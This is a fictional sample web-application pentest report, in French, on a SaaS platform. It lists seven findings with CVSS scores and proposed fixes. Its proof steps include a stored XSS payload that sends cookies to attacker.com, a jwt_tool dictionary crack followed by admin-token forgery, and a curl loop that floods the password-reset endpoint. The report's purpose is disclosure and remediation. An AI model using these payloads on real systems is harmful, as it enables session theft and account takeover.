Rapport exemple

Ce que vous recevez après un pentest

Rapport fictif d'un pentest application web réalisé sur une plateforme SaaS B2B. Mêmes standards de documentation, même format, même niveau de détail que nos rapports clients. Les noms, URLs et données sont entièrement fictifs.

Informations du rapport CONFIDENTIEL
ClientVectis SaaS
PlateformeKeltis
Cibleapp.keltis-demo.fr
TypePentest application web — Grey box
MéthodologieOWASP Testing Guide v4.2 + OWASP API Security Top 10
Durée7 jours ouvrés
Versionv1.0 — Final
StackNode.js (Express), React, PostgreSQL

Synthèse exécutive

Périmètre

L'audit a porté sur la plateforme Keltis, application SaaS B2B de gestion de projets et de facturation, accessible à l'adresse app.keltis-demo.fr. Le périmètre couvrait l'application web (React SPA), l'API REST (Node.js/Express), les mécanismes d'authentification et d'autorisation, ainsi que la configuration de sécurité de l'infrastructure exposée. L'approche grey box a été retenue : un compte utilisateur avec le rôle editor a été fourni, sans accès au code source.

Résultats

L'audit a identifié 7 vulnérabilités dont une critique permettant la forge de tokens d'administration via un secret JWT trivial. La faille la plus sévère (secret JWT dérivé du nom de la plateforme, partagé entre staging et production) permet à tout attaquant de s'authentifier avec n'importe quel rôle.

Les mécanismes d'authentification et de hashing sont correctement implémentés. Les failles identifiées concernent principalement le contrôle d'accès (autorisation) et la configuration de sécurité. L'effort de remédiation estimé est de 3 à 5 jours de développement.

1 Critical
2 High
2 Medium
1 Low
1 Info

Recommandations prioritaires

P0

Effectuer une rotation immédiate du secret JWT, migrer vers RS256 (clé asymétrique) et séparer les secrets par environnement (VCT-003)

P0

Corriger l'IDOR sur les factures — implémenter la vérification d'appartenance à l'organisation sur tous les endpoints manipulant des ressources inter-tenant (VCT-001)

P0

Sanitizer toutes les entrées utilisateur avec DOMPurify et déployer une Content Security Policy (VCT-002, VCT-007)

P1

Implémenter du rate limiting sur les endpoints d'authentification et de réinitialisation de mot de passe (VCT-004)

P2

Remplacer la réflexion dynamique de l'Origin par une whitelist explicite de domaines autorisés (VCT-005)

P2

Supprimer les stack traces, versions et chemins serveur des réponses d'erreur en production (VCT-006)

Description de l'audit

Systèmes testés

Composant Description
Application web Interface utilisateur Keltis (React SPA) — app.keltis-demo.fr
API REST Backend Node.js/Express — app.keltis-demo.fr/api/v2/*
Authentification JWT (HS256) + OAuth2 (Google Workspace SSO)
Base de données PostgreSQL 15 — accès indirect via l'API uniquement
Infrastructure AWS (ECS Fargate, ALB, RDS, S3) — évaluation limitée aux headers et réponses HTTP

Méthodologie et outils

Les tests ont été conduits selon la méthodologie OWASP Testing Guide v4.2, complétée par le référentiel OWASP API Security Top 10 (2023). Chaque finding est vérifié manuellement et confirmé par exploitation active (Live-Confirmed).

Burp Suite Professional 2024.3Nuclei v3.1SQLMap 1.8ffuf v2.1jwt_tool v2.2Scripts Python/Bash sur mesure

Catégories de vérification

Catégorie Périmètre
Authentification Mécanismes de connexion, gestion des sessions, MFA, politique de mots de passe
Autorisation Contrôle d'accès horizontal et vertical, IDOR, gestion des rôles (RBAC)
Injection XSS (reflected, stored, DOM), SQL injection, command injection, template injection
Cryptographie Gestion des secrets, algorithmes de chiffrement, tokens, certificats
Configuration Headers HTTP, CORS, CSP, gestion des erreurs, exposition d'informations
Logique métier Workflows, validation des entrées, race conditions, abus de fonctionnalités
Gestion des fichiers Upload/download de fichiers, contrôle de type MIME, stockage sécurisé

Périmètre et restrictions

  • Tests de déni de service (DoS/DDoS) — exclus du périmètre
  • Ingénierie sociale et phishing — non testés
  • Audit du code source — non inclus (grey box : le code n'a pas été fourni)
  • Infrastructure AWS sous-jacente — évaluée uniquement via les réponses HTTP
  • Applications mobiles — hors périmètre (API uniquement)
  • Environnement staging (staging.keltis-demo.fr) — testé uniquement pour la vérification du secret JWT partagé

Échelle de sévérité

Les vulnérabilités sont classées selon le score CVSS 3.1 et l'impact métier estimé.

Niveau Description
Critical Exploitation immédiate possible, impact majeur sur la confidentialité, l'intégrité ou la disponibilité. Correction en urgence.
High Exploitation probable, impact significatif. Correctif à appliquer dans les 7 jours.
Medium Exploitation possible sous certaines conditions. Correctif à planifier dans les 30 jours.
Low Impact limité ou exploitation difficile. À corriger lors du prochain cycle de développement.
Info Observation ou recommandation de durcissement. Pas de risque immédiat mais améliore la posture de sécurité.

Vue d'ensemble des vulnérabilités

Matrice de correspondance entre les findings identifiés et les catégories de vérification OWASP.

ID Finding Sev. Authent.Autoris.InjectionCrypto.Config.LogiqueFichiers
VCT-001 IDOR — Accès aux factures HIGH
VCT-002 Stored XSS — Commentaires HIGH
VCT-003 JWT secret partagé CRITICAL
VCT-004 Rate limiting absent MEDIUM
VCT-005 CORS permissif MEDIUM
VCT-006 Stack traces exposées LOW
VCT-007 Absence de CSP INFO

Findings

VCT-001 IDOR — Accès et modification des factures d'autres organisations via manipulation d'ID
HIGH
CVSS 3.1: 8.1 OWASP API: API1:2023 — BOLA Verification: Live-Confirmed

Contexte

Les vulnérabilités de type IDOR (Insecure Direct Object Reference) surviennent lorsqu'une application utilise des identifiants séquentiels ou prévisibles pour accéder à des ressources, sans vérifier que l'utilisateur authentifié est autorisé à y accéder. Dans les plateformes multi-tenant, ce type de faille peut compromettre l'isolation entre organisations et exposer les données de l'ensemble des clients.

Description

Les endpoints GET /api/v2/invoices/:id et PUT /api/v2/invoices/:id ne vérifient pas l'appartenance de la facture à l'organisation authentifiée. En incrémentant le paramètre id, un utilisateur authentifié peut lire et modifier les factures, montants et coordonnées bancaires de toutes les organisations de la plateforme.

Requête — accès à une facture d'une autre organisation

GET /api/v2/invoices/1337 HTTP/2
Host: app.keltis-demo.fr
Authorization: Bearer eyJhbG...kOrg42
X-Organization-Id: 42 # notre org de test

Réponse — facture de l'organisation 7 (pas la nôtre)

200 OK
{
  "id": 1337,
  "organization_id": 7,
  "organization_name": "Nexora Health SAS",
  "amount": 14 850.00,
  "iban": "FR76 3000 4028 3700 0100 0425 682",
  "status": "paid",
  "pdf_url": "/storage/invoices/1337.pdf"
}

Correctif proposé

// middleware/authorization.ts
async function checkInvoiceOwnership(req, res, next) {
  const invoice = await Invoice.findById(req.params.id);
  if (invoice.organization_id !== req.user.organization_id) {
    return res.status(403).json({ error: "Forbidden" });
  }
  next();
}

// Appliquer sur toutes les routes /invoices/:id
// + remplacer les IDs séquentiels par des UUIDs
VCT-002 Stored XSS dans les commentaires de projet via attribut onerror
HIGH
CVSS 3.1: 7.6 OWASP: A03:2021 — Injection Verification: Live-Confirmed

Contexte

Le Cross-Site Scripting stocké (Stored XSS) est l'une des formes les plus dangereuses d'injection côté client. Contrairement au XSS reflété, le payload malveillant est persisté en base de données et s'exécute automatiquement dans le navigateur de chaque utilisateur qui consulte la page compromise, sans interaction nécessaire.

Description

Le champ commentaire des projets accepte du contenu HTML non filtré. Une balise image avec un attribut onerror permet l'exécution de JavaScript arbitraire dans le navigateur de tout utilisateur qui consulte le projet.

Payload injecté

POST /api/v2/projects/89/comments HTTP/2
Content-Type: application/json

{
  "body": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"
}

Impact

• Vol de session : le cookie de session est envoyé à l'attaquant
• Persistant : le script s'exécute à chaque consultation du projet
• Propagation : tous les membres du projet sont impactés
• Contexte admin : si un admin consulte le projet, l'attaquant obtient une session admin

Correctif proposé

// Utiliser DOMPurify côté serveur avant stockage
import DOMPurify from 'isomorphic-dompurify';

const clean = DOMPurify.sanitize(req.body.body, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'code'],
  ALLOWED_ATTR: ['href'],
});

// + Ajouter Content-Security-Policy header
// + Activer le flag HttpOnly sur les cookies de session
VCT-003 JWT signing secret partagé entre staging et production
CRITICAL
CVSS 3.1: 9.1 OWASP: A02:2021 — Cryptographic Failures Verification: Live-Confirmed

Contexte

Les JSON Web Tokens (JWT) reposent sur un secret de signature pour garantir l'intégrité et l'authenticité des tokens. Si ce secret est faible, partagé entre environnements ou compromis, un attaquant peut forger des tokens arbitraires avec n'importe quel rôle ou identité.

Description

Le secret de signature JWT est identique entre les environnements staging et production. Un token généré sur staging (accessible à toute l'équipe de développement) est accepté sur production. La clé est un mot dérivé du nom de la plateforme, trivial à deviner.

Preuve — secret cracké par attaque par dictionnaire

# 1. Extraction du secret depuis un token JWT capturé (jwt_tool + rockyou.txt)
$ python3 jwt_tool.py eyJhbG...kOrg42 -C -d rockyou.txt
[+] Secret trouvé : keltis2024

# 2. Le même secret fonctionne sur staging et production
$ jwt.sign({ user_id: 1, role: "admin" }, "keltis2024")
→ Token accepté sur app.keltis-demo.fr (production)

Correctif proposé

# 1. Générer un secret unique par environnement (256 bits minimum)
$ openssl rand -base64 64

# 2. Stocker dans un vault (AWS Secrets Manager, HashiCorp Vault)
# 3. Rotation automatique tous les 90 jours
# 4. Invalider tous les tokens existants après rotation
# 5. Passer à RS256 (clé asymétrique) pour éliminer le risque de secret partagé
VCT-004 Absence de rate limiting sur l'endpoint de réinitialisation de mot de passe
MEDIUM
CVSS 3.1: 5.3 OWASP API: API4:2023 — Unrestricted Resource Consumption Verification: Live-Confirmed

Contexte

L'absence de rate limiting sur les endpoints sensibles expose l'application à des attaques par force brute, l'énumération de comptes et l'abus de ressources. Les endpoints d'authentification et de réinitialisation de mot de passe sont des cibles privilégiées pour ce type d'attaque.

Description

L'endpoint POST /api/v2/auth/reset-password n'implémente aucun rate limiting. Un attaquant peut envoyer des milliers de requêtes de réinitialisation, provoquant un spam massif d'emails et une énumération des comptes existants.

Test — 100 requêtes en 10 secondes, aucun blocage

$ for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://app.keltis-demo.fr/api/v2/auth/reset-password \
    -d '{"email":"test@example.com"}'
done

Résultat : 100x 200 OK — 100 emails envoyés, aucun blocage

Correctif proposé

// express-rate-limit
const resetLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 3,
  keyGenerator: (req) => req.body.email || req.ip,
});

// + Réponse identique que l'email existe ou non (anti-énumération)
// + CAPTCHA après la 2e tentative
VCT-005 CORS permissif sur l'API — réflexion de l'Origin sans validation
MEDIUM
CVSS 3.1: 5.4 OWASP: A05:2021 — Security Misconfiguration Verification: Live-Confirmed

Contexte

La politique Cross-Origin Resource Sharing (CORS) définit quels domaines tiers peuvent effectuer des requêtes vers l'API. Lorsque le serveur reflète dynamiquement l'en-tête Origin de la requête sans validation et autorise l'envoi de credentials, n'importe quel site malveillant peut effectuer des requêtes authentifiées au nom de l'utilisateur victime.

Description

L'API reflète dynamiquement le header Origin de la requête dans Access-Control-Allow-Origin sans vérification, combiné avec Access-Control-Allow-Credentials: true. Un site malveillant peut effectuer des requêtes API authentifiées au nom de l'utilisateur victime.

Headers de réponse — l'Origin est reflété sans validation

# Requête depuis un domaine attaquant
Origin: https://evil.com

# Réponse — le serveur reflète l'Origin tel quel
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Correctif proposé

// cors.ts — whitelist explicite
const allowedOrigins = [
  'https://app.keltis-demo.fr',
  'https://admin.keltis-demo.fr',
];

app.use(cors({
  origin: (origin, callback) => {
    if (allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('Not allowed'));
  },
  credentials: true,
}));
VCT-006 Stack traces et versions exposées dans les réponses d'erreur
LOW
CVSS 3.1: 3.7 OWASP: A05:2021 — Security Misconfiguration Verification: Live-Confirmed

Contexte

L'exposition d'informations techniques dans les messages d'erreur fournit aux attaquants des détails sur la stack technologique, les versions des composants et l'arborescence du serveur. Ces informations facilitent la phase de reconnaissance et l'identification de vulnérabilités connues (CVE).

Description

Les erreurs 500 renvoient la stack trace complète, le numéro de version de Node.js et Express, et les chemins absolus du serveur. Ces informations facilitent la reconnaissance et l'exploitation de vulnérabilités connues.

Réponse d'erreur en production

500 Internal Server Error
{
  "error": "Cannot read properties of null",
  "stack": "TypeError: Cannot read properties of null\n    at /home/deploy/keltis/src/controllers/billing.js:142:23",
  "environment": "production",
  "node_version": "v18.17.0",
  "express_version": "4.18.2"
}

Correctif proposé

// Error handler — production uniquement
app.use((err, req, res, next) => {
  const isProduction = process.env.NODE_ENV === 'production';
  res.status(err.status || 500).json({
    error: isProduction
      ? 'Internal Server Error'
      : err.message,
    // Jamais de stack/version en production
  });
});
VCT-007 Absence de Content Security Policy (CSP)
INFO
CVSS 3.1: OWASP: A05:2021 — Security Misconfiguration Verification: Live-Confirmed

Contexte

La Content Security Policy (CSP) est un mécanisme de défense en profondeur qui restreint les sources de contenu exécutable dans le navigateur. En l'absence de CSP, l'exploitation de vulnérabilités XSS est facilitée car le navigateur n'applique aucune restriction sur l'exécution de scripts.

Description

L'application ne définit aucun header Content-Security-Policy. L'absence de CSP facilite l'exploitation de vulnérabilités XSS en permettant l'exécution de scripts inline et le chargement de ressources depuis n'importe quel domaine.

Header manquant

# Headers de réponse actuels — aucun header de sécurité
X-Powered-By: Express  # à supprimer aussi

# Content-Security-Policy : absent
# X-Frame-Options : absent
# X-Content-Type-Options : absent
# Strict-Transport-Security : absent

Correctif proposé

// helmet.js — headers de sécurité en un seul middleware
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:"],
    },
  },
}));

Points positifs

Le rapport inclut aussi les bonnes pratiques observées pendant l'audit.

Contrôle Statut Observation
Hashing des mots de passe ✓ Conforme bcrypt avec cost factor 12 — conforme aux recommandations OWASP.
Transport HTTPS ✓ Conforme TLS 1.3 uniquement, HSTS activé avec preload, certificat Let’s Encrypt renouvelé automatiquement.
Protection CSRF ✓ Conforme Tokens CSRF synchronisés sur toutes les mutations. Double-submit cookie pattern correctement implémenté.
Séparation des rôles ✓ Conforme Modèle RBAC cohérent avec 4 rôles (viewer, editor, admin, owner). Middleware appliqué systématiquement.
Gestion des dépendances ✓ Conforme Lock file à jour, aucune dépendance avec CVE critique connue au moment du test.
Logging applicatif ✓ Conforme Journalisation structurée (JSON) des événements d'authentification, d'autorisation et d'erreur. Rétention 90 jours.
Gestion des sessions ✓ Conforme Expiration des tokens JWT à 15 minutes, refresh tokens avec rotation. Invalidation côté serveur via blacklist Redis.
Validation des entrées ⚠ Partiel Validation Zod côté serveur sur la majorité des endpoints. Quelques endpoints legacy sans validation (cf. VCT-002).
Sauvegarde des données ✓ Conforme Snapshots RDS automatiques quotidiens avec rétention 30 jours. Point-in-time recovery activé.
Versioning de l'API ✓ Conforme API versionnée (v2), endpoints dépréciés documentés, migration progressive des clients.
Isolation des environnements ⚠ Partiel Comptes AWS séparés pour staging et production, mais secret JWT partagé (cf. VCT-003).
Déploiement ✓ Conforme CI/CD via GitHub Actions avec build, tests et deploy automatisés. Images Docker signées.

Annexe A : Inventaire des endpoints

Liste des endpoints identifiés et testés pendant l'audit, avec leur niveau d'accès requis.

Endpoint Méthode Accès Comportement
/api/v2/auth/login POST Public Authentification par email/mot de passe
/api/v2/auth/register POST Public Création de compte et organisation
/api/v2/auth/reset-password POST Public Demande de réinitialisation (cf. VCT-004)
/api/v2/auth/refresh POST Authentifié Renouvellement du token JWT
/api/v2/auth/sso/google GET Public Initiation du flux OAuth2 Google
/api/v2/users/me GET/PUT Authentifié Profil de l'utilisateur connecté
/api/v2/organizations/:id GET/PUT Admin Détails et modification de l'organisation
/api/v2/projects GET/POST Authentifié Liste et création de projets
/api/v2/projects/:id GET/PUT/DELETE Editor+ Gestion d'un projet spécifique
/api/v2/projects/:id/comments GET/POST Viewer+ Commentaires sur un projet (cf. VCT-002)
/api/v2/invoices GET Admin Liste des factures de l'organisation
/api/v2/invoices/:id GET/PUT Admin Détail et modification d'une facture (cf. VCT-001)
/api/v2/invoices/:id/pdf GET Admin Téléchargement PDF de la facture
/api/v2/members GET/POST/DELETE Admin Gestion des membres de l'organisation
/api/v2/members/:id/role PUT Owner Modification du rôle d'un membre
/api/v2/webhooks GET/POST/DELETE Admin Configuration des webhooks

Annexe B : Headers de sécurité

Vérification de la présence et de la configuration des headers de sécurité HTTP sur chaque groupe d'endpoints.

Header App API Public
Content-Security-Policy ✗ Absent ✗ Absent ✗ Absent
X-Frame-Options ✗ Absent N/A ✗ Absent
X-Content-Type-Options ✓ nosniff ✓ nosniff ✗ Absent
Strict-Transport-Security ✓ Présent ✓ Présent ✗ Absent
Referrer-Policy ✗ Absent ✗ Absent ✗ Absent
Permissions-Policy ✗ Absent ✗ Absent ✗ Absent
X-Powered-By ✗ Express ✗ Express N/A
Cache-Control ✓ no-store ✓ no-store ⚠ Absent

Annexe C : Configuration TLS

Configuration du transport sécurisé observée sur app.keltis-demo.fr.

Propriété Valeur
Protocole TLS 1.3 uniquement (TLS 1.0, 1.1, 1.2 désactivés)
Cipher suites TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256
Certificat Let's Encrypt RSA 2048-bit, validité 90 jours, renouvellement automatique
HSTS max-age=31536000; includeSubDomains; preload
OCSP Stapling Activé
Forward Secrecy Oui (ECDHE)
Qualys SSL Labs Grade A

Avertissement

Ce rapport est un exemple fictif créé à des fins de démonstration. L'entreprise Vectis SaaS, la plateforme Keltis et toutes les données présentées sont entièrement fictives. Le format, le niveau de détail et la structure correspondent à un rapport réel livré par Salvor Labs. Les rapports clients sont adaptés au périmètre audité et peuvent contenir plus ou moins de findings.

Un rapport comme celui-ci pour votre application

Pentest applicatif par un pentester senior spécialisé SaaS. Findings documentés avec preuves d'exploitation, score CVSS et correctifs applicables. Retest gratuit sous 30 jours.

Obtenir un devis gratuit